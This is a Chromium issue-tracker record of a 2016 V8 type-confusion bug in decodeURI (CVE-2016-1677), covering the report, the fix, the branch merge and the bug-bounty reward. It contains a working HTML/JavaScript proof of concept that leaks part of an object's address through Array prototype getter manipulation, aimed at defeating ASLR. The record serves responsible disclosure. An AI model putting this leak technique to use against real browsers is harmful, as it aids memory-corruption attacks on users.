New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.

Issue 602970 link

Starred by 0 users

Issue metadata

Status: Fixed
Owner:
Closed: Apr 2016
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 1
Type: Bug-Security



Sign in to add a comment

Security: type confusion lead to information leak in decodeURI

Reported by higonggu...@gmail.com, Apr 13 2016

Issue description

VULNERABILITY DETAILS
the value passed to function TwoByteSeqStringSetChar maybe not a smi but a HeapObject, simply casting a point to HeapObject to a smi lead to information leak.  
void FullCodeGenerator::EmitTwoByteSeqStringSetChar(CallRuntime* expr) {
  ZoneList<Expression*>* args = expr->arguments();
  DCHECK_EQ(3, args->length());

  Register string = rax;
  Register index = rbx;
  Register value = rcx;

  VisitForStackValue(args->at(0));        // index
  VisitForStackValue(args->at(1));        // value------> maybe point of heap object, i guess
  VisitForAccumulatorValue(args->at(2));  // string
  PopOperand(value);
  PopOperand(index);

  if (FLAG_debug_code) {
    __ Check(__ CheckSmi(value), kNonSmiValue);
    __ Check(__ CheckSmi(index), kNonSmiValue);
  }

  __ SmiToInteger32(value, value);        -----------> treat value as smi
  __ SmiToInteger32(index, index);

  if (FLAG_debug_code) {
    static const uint32_t two_byte_seq_type = kSeqStringTag | kTwoByteStringTag;
    __ EmitSeqStringSetCharCheck(string, index, value, two_byte_seq_type);
  }

  __ movw(FieldOperand(string, index, times_2, SeqTwoByteString::kHeaderSize),
          value);
  context()->Plug(rax);
}

by this bug, we can leak 16 bits of a point, it's will be useful to do locally heap spray in 64bits system to bypass ASLR.

the PoC is as follows:

<html>
<script>
var num = new Number(10);
Array.prototype.__defineGetter__(0,function(){
    return num;
})
Array.prototype.__defineSetter__(0,function(value){
})
var str=decodeURI("%E7%9A%84");
//in 32bit system, the leaked bits is [31..16] 
//in 64bit system, the leaked bits is [47..32] 
alert("partial address of object num is "+str.charCodeAt(0).toString(16));
</script>
</html>

a patch is also attach as file name patch

VERSION
Chrome Version: all
Operating System: all

REPRODUCTION CASE
Please include a demonstration of the security bug, such as an attached
HTML or binary file that reproduces the bug when loaded in Chrome. PLEASE
make the file as small as possible and remove any content not required to
demonstrate the bug.



 
patch
500 bytes View Download

Comment 1 by tsepez@chromium.org, Apr 13 2016

Components: Blink>JavaScript
Labels: Security_Severity-Medium M-51 Security_Impact-Stable OS-All Pri-2
Owner: jochen@chromium.org
Project Member

Comment 2 by ClusterFuzz, Apr 13 2016

Labels: -Pri-2 Pri-1
Status: Assigned (was: Unconfirmed)
Cc: mkwst@chromium.org
Cc: hablich@chromium.org

Comment 5 by jochen@chromium.org, Apr 15 2016

Owner: mvstan...@chromium.org
Michael, can you please find an owner for this
Cc: yangguo@chromium.org
Per conversation with Yang, we should be protected against this because we use InternalArrays, which should be safe from the kind of prototype manipulation done in the repro.
yes, you can consider the patch attached
As discussed, there are some usages of GlobalArray where it should be InternalArray.
Status: Started (was: Assigned)
Thx, I'll just remove all the GlobalArray usage in uri.js
Project Member

Comment 10 by bugdroid1@chromium.org, Apr 15 2016

The following revision refers to this bug:
  https://chromium.googlesource.com/v8/v8.git/+/401450493efc424cd20f914e6df6f69f3d7b8fbc

commit 401450493efc424cd20f914e6df6f69f3d7b8fbc
Author: mvstanton <mvstanton@chromium.org>
Date: Fri Apr 15 13:08:17 2016

Security: type confusion lead to information leak in decodeURI

Quit using the global array in uri code.

R=yangguo@chromium.org
BUG= chromium:602970 
LOG=N

Review URL: https://codereview.chromium.org/1889133003

Cr-Commit-Position: refs/heads/master@{#35530}

[modify] https://crrev.com/401450493efc424cd20f914e6df6f69f3d7b8fbc/src/js/uri.js
[add] https://crrev.com/401450493efc424cd20f914e6df6f69f3d7b8fbc/test/mjsunit/regress/regress-602970.js

Status: Fixed (was: Started)
Thx for the bug report! Fixed.
Project Member

Comment 12 by ClusterFuzz, Apr 15 2016

Labels: -Restrict-View-SecurityTeam Merge-Triage M-50 Restrict-View-SecurityNotify
Adding Merge-Triage label for tracking purposes.

Once your fix had sufficient bake time (on canary, dev as appropriate), please nominate your fix for merge by adding the Merge-Requested label.

When your merge is approved by the release manager, please start merging with higher milestone label first. Make sure to re-request merge for every milestone in the label list. You can get branch information on omahaproxy.appspot.com.

- Your friendly ClusterFuzz
Could you please assign a CVE to this issue?
Thanks
Cc: timwillis@chromium.org
Labels: -Merge-Triage Merge-Approved-5.1
Michael, can you please merge this to 5.1?
Project Member

Comment 16 by bugdroid1@chromium.org, May 2 2016

Labels: merge-merged-5.1
The following revision refers to this bug:
  https://chromium.googlesource.com/v8/v8.git/+/720699688c9fd20eb82d74aceeac47f889455d1b

commit 720699688c9fd20eb82d74aceeac47f889455d1b
Author: Michael Stanton <mvstanton@chromium.org>
Date: Mon May 02 13:47:47 2016

Version 5.1.281.26 (cherry-pick)

Merged 401450493efc424cd20f914e6df6f69f3d7b8fbc

Security: type confusion lead to information leak in decodeURI

BUG= chromium:602970 
LOG=N
R=yangguo@chromium.org

Review URL: https://codereview.chromium.org/1936083002 .

Cr-Commit-Position: refs/branch-heads/5.1@{#30}
Cr-Branched-From: 167dc63b4c9a1d0f0fe1b19af93644ac9a561e83-refs/heads/5.1.281@{#1}
Cr-Branched-From: 03953f52bd4a184983a551927c406be6489ef89b-refs/heads/master@{#35282}

[modify] https://crrev.com/720699688c9fd20eb82d74aceeac47f889455d1b/include/v8-version.h
[modify] https://crrev.com/720699688c9fd20eb82d74aceeac47f889455d1b/src/js/uri.js
[add] https://crrev.com/720699688c9fd20eb82d74aceeac47f889455d1b/test/mjsunit/regress/regress-602970.js

Merged. 
*** SUMMARY ***
version: 5.1.281.26
branch: 5.1
patches: 401450493efc424cd20f914e6df6f69f3d7b8fbc

Labels: -Merge-Approved-5.1
Labels: reward-topanel
#13: We do CVE assignment at the time of release. As this is merged to M51, you can expect a CVE in a few weeks when M51 is closer to launching.
Labels: Release-0-M51
Labels: -reward-topanel reward-7500 CVE-2016-1677 reward-unpaid
Congrats - $4,000 for this report (highest reward value for infoleak). We've credited you at http://googlechromereleases.blogspot.com/2016/05/stable-channel-update_25.html as "Guang Gong of Qihoo 360". Let me know if you want that changed.

CVE-ID is CVE-2016-1677

We'll add this reward to the next payment run. Thanks for the report!
Thanks for your information, Tim.
Labels: reward-inprocess
Labels: -reward-unpaid
Project Member

Comment 25 by sheriffbot@chromium.org, Jul 23 2016

Labels: -Restrict-View-SecurityNotify
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 26 by sheriffbot@chromium.org, Oct 1 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 27 by sheriffbot@chromium.org, Oct 2 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: allpublic
Labels: CVE_description-submitted

Sign in to add a comment